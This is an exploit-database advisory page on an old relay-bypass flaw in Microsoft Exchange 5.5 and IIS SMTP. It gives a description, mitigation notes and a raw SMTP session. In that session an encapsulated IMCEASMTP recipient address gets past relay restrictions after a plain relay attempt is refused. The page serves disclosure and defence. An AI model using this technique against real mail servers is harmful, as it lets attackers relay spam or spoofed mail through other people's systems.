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vendor:
Exchange Server 5.5, IIS 4.0 and 5.0
by:
SecurityFocus
7,5
CVSS
HIGH
Encapsulated SMTP Address Vulnerability
601
CWE
Product Name: Exchange Server 5.5, IIS 4.0 and 5.0
Affected Version From: Microsoft Exchange 5.5, IIS 4.0 and 5.0
Affected Version To: Microsoft Exchange 5.5, IIS 4.0 and 5.0
Patch Exists: Yes
Related CWE: CVE-1999-0752
CPE: a:microsoft:exchange_server:5.5, cpe:/a:microsoft:iis:4.0, cpe:/a:microsoft:iis:5.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2002

Microsoft Exchange 5.5 and IIS SMTP Service Encapsulated SMTP Address Vulnerability

Microsoft Exchange 5.5 and the SMTP (Simple Mail Transfer Protocol) service included with IIS (Internet Information Services) 4.0 and 5.0 are vulnerable to an encapsulated SMTP address vulnerability. The vulnerability allows an attacker to bypass the SMTP server's security checks and send emails to arbitrary recipients, even if the SMTP server is configured to only allow relaying for certain domains. This can be exploited by sending an email with an encapsulated address, such as IMCEASMTP-test+40test+2Ecom@victim.co.uk, which will be accepted by the SMTP server.

Mitigation:

Microsoft has released a patch to fix the vulnerability for Exchange Server 5.5. For IIS SMTP service, it is recommended to disable relaying or restrict it to certain domains.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5213/info

Microsoft Exchange 5.5 and the SMTP (Simple Mail Transfer Protocol) service included with IIS (Internet Information Services) 4.0 and 5.0 are vulnerable to an encapsulated SMTP address vulnerability.

The vulnerability was originally announced in Microsoft Security Bulletin MS99-027 and reported to affect Exchange Server 5.5. Microsoft released a patch to fix the vulnerability for Exchange Server 5.5 only. It has been recently reported that this vulnerability also affects the SMTP service included with Microsoft IIS 4.0 and 5.0. There exists no patch for the IIS SMTP service.

220 test-mailer Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 ready
at
Tue, 28 May 2002 14:54:10 +0100
helo
250 test-mailer Hello [IP address of source host]
MAIL FROM: test@test.com
250 2.1.0 test@test.com....Sender OK
RCPT TO: test2@test.com
550 5.7.1 Unable to relay for test@test.com
RCPT TO: IMCEASMTP-test+40test+2Ecom@victim.co.uk
250 2.1.5 IMCEASMTP-test+40test+2Ecom@victim.co.uk
data
354 Start mail input; end with <CRLF>.<CRLF>
Subject: You are vulnerable.